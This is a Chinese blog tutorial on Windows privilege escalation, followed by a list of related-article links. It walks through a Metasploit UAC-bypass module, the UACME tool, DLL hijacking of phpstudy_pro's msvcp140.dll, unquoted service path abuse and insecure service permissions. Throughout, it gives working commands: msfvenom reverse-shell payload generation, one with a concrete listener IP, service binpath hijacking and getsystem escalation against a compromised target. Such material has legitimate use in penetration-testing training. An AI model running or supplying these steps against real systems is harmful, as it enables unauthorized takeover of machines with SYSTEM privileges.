• 【权限提升-Windows提权】-UAC提权之MSF模块和UACME项目-DLL劫持-不带引号服务路径-不安全的服务权限


    权限提升基础信息

    1、具体有哪些权限需要我们了解掌握的?

    后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等

    2、以上常见权限获取方法简要归类说明?

    后台权限:SQL注入,数据库备份泄露,默认或弱口令等获取帐号密码进入

    网站权限:后台提升至网站权限,RCE或文件操作类、反序列化等漏洞直达Shell

    数据库权限:SQL注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入

    接口权限:SQL注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入

    系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等

    域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等

    3、以上常见权限获取后能操作的具体事情?

    后台权限:

    常规WEB界面文章分类等操作,后台功能可操作类

    网站权限:

    查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),还能收集服务器操作系统相关的信息,为后续系统提权做准备。

    数据库权限:

    操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的数据库配置文件读取获得。也可以作为提升系统权限手段。

    接口权限:

    后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取),具体可以操作的事情大家自己想想。

    系统权限:如同在你自己操作自己的电脑一样

    域控权限:如同在你自己操作自己的虚拟机一样

     

     

    演示:uac提权

    前提:已获取目标本地用户权限

    使用msf模块提权

    1.上传木马反弹shell回来的时候测试一下getsystem,发现无法提权。

    2.启动msf,选择UAC绕过模块。

    此处测试是针对UAC被设置为高等级的情况,使用的是钓鱼模块,运行后目标主机弹窗,需要目标点击确定才能触发。

    建议优先使用其他模块:search uac   #搜索uac模块

    执行命令:

    use exploit/windows/local/ask    #使用钓鱼模块
    sessions         #查看后台进程
    set session 1    #选择进程

    set lport 5555   #设置监听端口

    run  #启动

    3.再次执行 getsystem 提权命令,成功提权。

    4.如果还是无法提权,可以尝试其他uac模块。

     

    使用UACME项目提权

    介绍:UACME 是一款专门绕过uac的项目,目前已经支持了77 种绕过 UAC 的方法。支持Windows 7/8/8.1/10/11系统版本,某些方法也适用于服务器版本。

    下载:https://github.com/hfiref0x/UACME

    使用:下载UACME项目到本地后,使用最新版 Visual Studio 工具对其进行编译,然后将编译好的exe程序上传到目标系统运行即可。

    使用命令:Akagi64.exe 绕过方法编号  #程序将从 system32 文件夹执行提权的 cmd.exe

    使用命令:Akagi64.exe 绕过方法编号 木马路径  #运行指定的程序

    实用编号:23、41、61、62

    1.执行:whoami /all 查看当前用户权限,只有如下权限。

    2.执行绕过uac程序,使用的是编号62绕过方法,系统是win11。

    命令:Akagi64.exe 62

    成功唤出弹窗,再次使用 whoami /all 查看权限,发现多出了很多权限。

    3.使用命令:Akagi64.exe 62 shell.exe  执行msf木马程序,msf设置监听。

    不行就多尝试几种编号。

    msf成功接收到shell,执行 getsystem 提权命令,成功提权。

     

     

    DLL劫持提权

    前提:已获取web shell权限

    介绍:Windows程序启动的时候需要运行DLL文件,攻击者可以将程序启动时要运行的dll文件替换为同名的恶意脚本文件来提权。

    Windows查找DLL文件的顺序如下:

    1、应用程序加载的目录

    2、C:\Windows\System32

    3、C:\Windows\System

    4、C:\Windows

    5、当前工作目录Current Working Directory,CWD

    6、在PATH环境变量的目录(先系统后用户)

    演示开始:

    过程:信息收集-进程调试-制作dll恶意脚本并上传-替换dll文件-启动应用后成功

    1.获取目标web shell权限,查看文件,发现存在一个phpstudy_pro程序,应用程序目录下存在dll文件。

    2.在本地下载一个 火绒剑-互联网安全分析软件 和目标应用程序:phpstudy_pro。

    下载火绒剑:https://github.com/anhkgg/anhkgg-tools

    运行phpstudy_pro启动进程,使用火绒剑-互联网安全分析软件查看phpstudy_pro程序进程中运行的dll文件。

    一般选择未知文件或者数字签名文件,因为系统文件可能没有权限操作。

    发现运行了一个:msvcp140.dll

    3.服务器安装一个msf,执行生成dll恶意文件命令。

    命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=监听ip  lport=监听端口 -f dll -o 文件名.dll

    4.将应用程序目录下的原生msvcp140.dll文件改名,然后将生成的msvcp140.dll恶意文件上传。

    5.启动msf监听,等待目标启动phpstudy_pro应用程序,触发msvcp140.dll恶意文件,反弹shell。

    6.接收到反弹shell之后,成功获取到目标管理员用户权限。执行 getsystem 成功将权限提升至system系统权限。

     

     

    利用"不带引号的服务路径"提权

    前提:需要在C盘等目录引用上传权限(如:获取到win本地用户权限)

    介绍:当 Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是如果服务的二进制路径未包含在引号中,有空格的目录就会认为是文件加参数 ,则操作系统将会执行服务路径中空格前的第一个实例。

    演示开始

    过程:检测筛选符合的服务--生成木马并上传--启动服务--自动调用木马

    1.执行命令检测当前系统中不带引号的服务路径中有空格的服务路径。

    执行命令:wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

    2.获取到服务路径空格之前的是program。服务器安装msf,执行命令生成同名木马文件。

    命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=43.134.241.193  lport=4444 -f exe > program.exe

    3.服务器启动msf,配置和启动监听,等待反弹shell。

    4.上传同名的program.exe木马文件到目标C盘根目录。

    5.执行命令启动DriverGenius Core Service 服务就会触发木马文件,攻击者直接就获取system权限。

    执行命令:sc start "服务名(DriverGenius Core Service)"

    成功获取system权限:

    利用"不安全的服务权限"提权

    介绍:由于管理配置错误,用户可能对服务拥有过多的权限,例如:可以直接修改服务路径指向恶意程序。

    1.下载accesschk工具,将accesschk.exe程序上传到目标系统目录,执行命令查看有权限更改服务配置的服务。

    下载:https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk

    执行命令:accesschk.exe -uwcqv "administrators" *      #查看administrators用户下的服务项

    服务权限为:SERVICE_ALL_ACCESS或SERVICE_QUERY_CONFIG 的就符合要求,可以更改服务配置。

    2.使用msf生成木马程序,将木马上传到目标系统目录。

    命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=监听ip  lport=监听端口-f exe > 木马名.exe

    3.启动msf开启监听,等待接收shell。

    4.执行命令将指定服务的路径更改为上传木马的路径。

    命令:sc config "服务名" binpath="木马绝对路径"

    5.然后执行命令启动服务,触发木马程序。

    命令:sc start 服务名

    6.msf成功接收到shell,执行 getuid 查看权限直接就是system权限

    更多提权方式请看:权限提升-Windows本地提权-AT+SC+PS命令-进程迁移-令牌窃取-getsystem+UAC_xiaoheizi安全的博客-CSDN博客

  • 相关阅读:
    C++ 指针和引用引用详解
    电池的健康状态 SOH 估计
    ZZNUOJ_用C语言编写程序实现1370:判断素数(附完整源码)
    管道-有名管道
    基于深度学习的疫情期间网民情绪识别项目详解
    Promise的九大方法(resolve、reject、then、catch、finally、all、allSettled、race、any)你都用过那些?
    【LeetCode刷题】--12.整数转罗马数字
    【Linux】环境变量
    LeetCode70. 爬楼梯(C++动态规划简单题)
    SpringBoot轻松实现项目集成Knife4j接口文档
  • 原文地址:https://blog.csdn.net/m0_51345235/article/details/132629499